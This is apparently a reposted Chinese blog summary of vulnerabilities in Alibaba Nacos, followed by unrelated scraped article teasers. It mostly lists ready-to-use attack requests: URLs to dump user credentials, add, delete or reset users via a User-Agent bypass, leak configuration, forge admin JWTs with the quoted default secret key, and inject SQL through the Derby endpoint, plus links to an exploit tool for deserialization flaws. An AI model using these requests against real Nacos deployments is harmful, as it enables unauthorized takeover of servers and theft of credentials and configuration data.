nacos漏洞小結

Alibaba Nacos是阿里巴巴推出來的一個新開源項目,是一個更易于構建云原生應用的動態服務發現、配置管理和服務管理平臺。致力于幫助發現、配置和管理微服務。Nacos提供了一組簡單易用的特性集,可以快速實現動態服務發現、服務配置、服務元數據及流量管理。

指紋:app="nacos"

默認密碼nacos/nacos

漏洞1-獲取已有的用戶列表的賬號和密碼

在路徑后面加上/nacos/v1/auth/users?pageNo=1&pageSize=9可以獲取到已有的用戶名和密碼,可以把User-Agent頭改為Nacos-Server,如圖

漏洞2-任意用戶添加

更改提交方式為POST?, 訪問/nacos/v1/auth/users?username=test111&password=123456

新建一個賬號test111,可以看到創建用戶成功,如圖

漏洞3-任意用戶刪除

更改提交方式為DELETE?, 訪問DELETE /nacos/v1/auth/users?username=test111

可以看到用戶刪除成功,如圖

漏洞4-用戶密碼重置

更改提交方式為PUT,訪問?/nacos/v1/auth/users?accessToken=&username=test1&newPassword=test222

漏洞5-配置信息泄露

在路徑后面加上/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99

洞6-token.secret.key默認配置(QVD-2023-6271)

Nacos使用token.secret.key來進行身份認證和加密。在Nacos版本 <= 2.2.0 時,這個密鑰是固定的默認值,導致存在一個安全漏洞。攻擊者可以利用這個默認密鑰構造JWT,繞過身份認證并進入Nacos后臺,從而對系統進行控制。

這個漏洞個人認為是最常見的一個,有一半以上的nacos系統都存在這個洞。

SecretKey012345678901234567890123456789012345678901234567890123456789

填入密鑰,填入新的時間戳,勾選secret base64 encoded,獲取新的token

然后在登錄請求中,攔截數據包,添加Authorization信息,攔截放回包后放包

Authorization: Bearer 你的token

洞7-Nacos Derby SQL注入漏洞 ?(CNVD-2020-67618)

/nacos/v1/cs/ops/derby?sql=%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%73

這是一個注入點

洞8-Nacos 集群 Raft?Hessian 反序列化漏洞 反序列化漏洞 (CNVD-2023-45001)

Nacos 1.4.1+在單機模式下默認不開放7848端口,故該情況通常不受此漏洞影響。然而,1.4.0、2.x版本無論單機或集群模式均默認開放7848端口。
所以最終影響范圍是:
1.4.0 <= Nacos < 1.4.6 使用cluster集群模式運行
2.0.0 <= Nacos < 2.2.3 任意模式啟動均受到影響

https://github.com/charonlight/NacosExploitGUI

洞9-Nacos-Client Yaml反序列化

利用:

https://github.com/charonlight/NacosExploitGUI

參考

https://mp.weixin.qq.com/s?__biz=MzkyOTMxNDM3Ng==&mid=2247488470&idx=1&sn=3cf9f8d4d3fd8348e5892153d565b395&chksm=c36f650de5053aab2024fb0fc12322396c554fb03fc8c17adbe4194145c1a89e4b9f51fd62b8&scene=126&sessionid=1713370439&key=58349ff90672df9829e6924cfc57517ee7e58625f070922c45f5af210801e70276eb4a689056fd0960d8dc5f403cbee7615e8a8e7f5f703ce00d812f7fac6d4db56642cfcb63adbe7418c3eec5e10b064bd28f7016ec971ed7a03ca6567bcd1e7fd1c5203e377389a2ec1d468bf1ac8e33296f54599ad5751ad29fde037be74f&ascene=15&uin=NTY2NTA4NjQ%3D&devicetype=Windows+10+x64&version=63060012&lang=zh_CN&session_us=gh_26cb3abead85&countrycode=AL&exportkey=n_ChQIAhIQgo%2F0zroKlgleqOV2m0JGURLuAQIE97dBBAEAAAAAANkSNcr3NjcAAAAOpnltbLcz9gKNyK89dVj0%2FT3gG0eYVXjNiToxQo5St79l90A%2BfC9aAki5MgpTumq85GqFI5kijd7yu6Tf1%2F2qBLw4v%2FP5LOaG5iMpZGxGKqJ%2Fu3mSwaimgTVd4tBdAvjxp%2FY8pG7lbYuJ8UqhIPNtD488y8Gl53tMsWzuYB1OdJTPqLzKp0LWxZJuclBE%2FB%2BLrh%2FSWtb3tNRETI5ZhK%2FoQ07KxieCca61IJ03ukMZc7Z0Hyr%2B%2FTcbX5Pf4cu7yHI4pZib9UUekQhMblWsn1EQPuFQYCZr7T0%3D&acctmode=0&pass_ticket=eq8HCji1DfXBOtEbPkSsc2TsXg7z3fUce6vSp7oYpIevjMHBe69CXIaB5taxqR93LsA4cuKuMt3CimuizC5UFg%3D%3D&wx_header=0&fontgear=2&poc_token=HKl_gWajBUI7atk2qu8rrVhwt5Ia6zTmApeYG7JX

https://www.freebuf.com/articles/web/384857.html

https://www.cnblogs.com/thebeastofwar/p/17920565.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/38578.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/38578.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/38578.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

我的創作紀念日 第四年 我在人間遭罪,也在人間享樂

回顧 一晃四年過去了&#xff0c;從畢業到現在依舊沒有后悔自己當初的選擇是工作而不是繼續讀研。 讀研雖然可以給我更高的起點&#xff0c;但破碎的底層建筑和生活壓力讓我沒的選擇&#xff0c;畢竟只是一介凡人&#xff0c;而且還是底層出身&#xff0c;環境差&#xff0c;觀…

64、哥倫比亞大學:CU-Net-目前腦腫瘤分割的最先進模型

本文已被接受發表在2024年IEEE MLISE會議上&#xff08;c&#xff09;2024 IEEE。準確地將腦腫瘤從MRI掃描中分割出來對于制定有效的治療方案和改善患者預后至關重要。本研究引入了一種新的哥倫比亞大學網絡&#xff08;CU-Net&#xff09;架構實現&#xff0c;用于使用BraTS 2…

收銀系統源碼-千呼新零售2.0【移動管理端】

千呼新零售2.0系統是零售行業連鎖店一體化收銀系統&#xff0c;包括線下收銀線上商城連鎖店管理ERP管理商品管理供應商管理會員營銷等功能為一體&#xff0c;線上線下數據全部打通。 適用于商超、便利店、水果、生鮮、母嬰、服裝、零食、百貨、寵物等連鎖店使用。 詳細介紹請…

如何循環遍歷循環中的剩余元素

1、問題背景 給定一段文本&#xff0c;文本中包含多條錯誤信息&#xff0c;每條錯誤信息包含行號、錯誤路徑和錯誤信息。需要從文本中提取出這些錯誤信息&#xff0c;并以特定的格式輸出。 line, Error 12, This is the Error line, Error 34, Another Error line, Error …

【Linux】線程周邊002之線程安全

&#x1f440;樊梓慕&#xff1a;個人主頁 &#x1f3a5;個人專欄&#xff1a;《C語言》《數據結構》《藍橋杯試題》《LeetCode刷題筆記》《實訓項目》《C》《Linux》《算法》 &#x1f31d;每一個不曾起舞的日子&#xff0c;都是對生命的辜負 目錄 前言 1.Linux線程互斥 1…

每日一題——Python實現PAT乙級1050 螺旋矩陣(舉一反三+思想解讀+逐步優化)6千字好文

一個認為一切根源都是“自己不夠強”的INTJ 個人主頁&#xff1a;用哲學編程-CSDN博客專欄&#xff1a;每日一題——舉一反三Python編程學習Python內置函數 Python-3.12.0文檔解讀 目錄 我的寫法 時間復雜度分析 空間復雜度分析 總結 我要更強 代碼解釋 時間復雜度 …

小區服務前臺小程序的設計

管理員賬戶功能包括&#xff1a;系統首頁&#xff0c;個人中心&#xff0c;住戶管理&#xff0c;管理員管理&#xff0c;員工管理&#xff0c;安保管理&#xff0c;安保分配管理&#xff0c;客服聊天管理 微信端賬號功能包括&#xff1a;系統首頁&#xff0c;公告&#xff0c;…

Mongodb集群中的分布式讀寫

學習mongodb&#xff0c;體會mongodb的每一個使用細節&#xff0c;歡迎閱讀威贊的文章。這是威贊發布的第81篇mongodb技術文章&#xff0c;歡迎瀏覽本專欄威贊發布的其他文章。如果您認為我的文章對您有幫助或者解決您的問題&#xff0c;歡迎在文章下面點個贊&#xff0c;或者關…

互聯網摸魚日報(2024-07-01)

互聯網摸魚日報(2024-07-01) 36氪新聞 最前線 | 孚能科技廣州基地投產&#xff0c;年產能30GWh&#xff0c;主推SPS大軟包產品 本周雙碳大事&#xff1a;800億元“風光火儲”大項目來了&#xff1b;光伏巨頭SolarEdge股價驟跌20%&#xff1b;韓國電池廠大火&#xff0c;鋰電安…

目標檢測算法的優缺點

目標檢測算法在計算機視覺領域具有廣泛的應用&#xff0c;其優缺點因算法類型和具體實現而有所不同。以下是對一些主流目標檢測算法優缺點的概述&#xff1a; 1. 傳統目標檢測算法 優點&#xff1a; 模型簡單&#xff1a;傳統目標檢測算法通常基于手工設計的特征和分類器&am…

Java進階學習|Day3.Java集合類(容器),Stream的使用,哈希初接觸

java集合類&#xff08;容器&#xff09; Java中的集合類主要由Collection和Map這兩個接口派生而出&#xff0c;其中Collection接口又派生出三個子接口&#xff0c;分別是Set、List、Queue。所有的Java集合類&#xff0c;都是Set、List、Queue、Map這四個接口的實現類&#xf…

Powershell 簡易爬蟲,提取種子網站的磁力鏈接

目錄 一. 需求二. 分析2.1 思路分析2.2 技術點 三. 代碼四. 效果 一. 需求 ?有網站如下所示&#xff0c;先要求從按照關鍵詞搜索到的網頁中&#xff0c;提取出所有的磁力鏈接。 二. 分析 2.1 思路分析 打開網頁之后&#xff0c;從網頁中先提取出所有的標題相關的url然后再打…

linux驅動部分內容整理

文章目錄 Linux驅動概念應用程序調用驅動程序流程驅動模塊的加載linux設備號加載和卸載注冊新字符設備注冊設備節點自動創建設備節點編譯編譯驅動程序編譯應用程序 地址映射ioctrl命令碼的解析 并發與競爭原子操作自旋鎖信號量互斥體 linux中斷DMA映射其它printkmemcpyvolatile…

如何在ubuntu上安裝ros-noetic?

如何在ubuntu上安裝ros-noetic&#xff1f; 1. 源由2. 快速安裝3. ROS學習 1. 源由 圍繞ros-noetic這個系統&#xff0c;前面已經有不少談及&#xff1a; Linux 35.5 JetPack v5.1.3ros-noetic安裝Linux 35.5 JetPack v5.1.3Fast-Planner編譯安裝Linux 35.5 JetPack v5.1.…

RocketMQ常用基本操作

文章中的rabbitmq使用的是rocketmq-all-5.1.3-bin-release版本&#xff0c;需要安裝包的可自行下載 RockerMQ啟動停止命令 啟動命令 nohup sh bin/mqnamesrv & nohup sh bin/mqbroker -n localhost:9876 --enable-proxy & 查看日志 tail -f ~/logs/rocketmqlogs/…

多線程編程的挑戰與解決方案

多線程編程的挑戰與解決方案 大家好&#xff0c;我是免費搭建查券返利機器人省錢賺傭金就用微賺淘客系統3.0的小編&#xff0c;也是冬天不穿秋褲&#xff0c;天冷也要風度的程序猿&#xff01; 1. 多線程編程的挑戰 在現代軟件開發中&#xff0c;多線程編程成為處理并發任務…

PatchTST創新點

這篇論文的創新點主要集中在PatchTST模型的設計和應用中。以下是對其創新點的詳細說明&#xff1a; 創新點 頻道獨立補丁設計&#xff1a;PatchTST模型通過將多變量時間序列分割成不同的頻道&#xff0c;每個頻道作為單變量時間序列處理。每個頻道獨立地通過實例歸一化操作和補…

明星中藥企業系列洞察(九)一手好牌打的稀爛!近500年老字號鎖定退市,太安堂為何“塌房”了?

近日&#xff0c;太安堂發布公告稱&#xff0c;公司已收到深交所下發的《關于廣東太安堂藥業股份有限公司股票終止上市的決定》&#xff0c;深交所決定終止公司股票上市&#xff0c;預計其最后交易日期為7月4日。太安堂曾作為國內知名的中成藥上市公司之一&#xff0c;是國家級…

matlab仿真 通信信號和系統分析(上)

&#xff08;內容源自詳解MATLAB&#xff0f;SIMULINK 通信系統建模與仿真 劉學勇編著第三章內容&#xff0c;有興趣的讀者請閱讀原書&#xff09; 一、求離散信號卷積和 主要還是使用卷積函數conv&#xff0c;值得注意的是&#xff0c;得到的卷積和長度結果為81&#xff0…

node.js+uniapp(vue),阿里云短信驗證碼

reg.vue: 思路是&#xff1a;前端調用獲取驗證碼的接口 > 后端生成驗證碼返回給前端 > 前端渲染驗證碼 <template> <div> <input class"sl-input" v-model"phone" type"tel" maxlength"11" placeholder"手…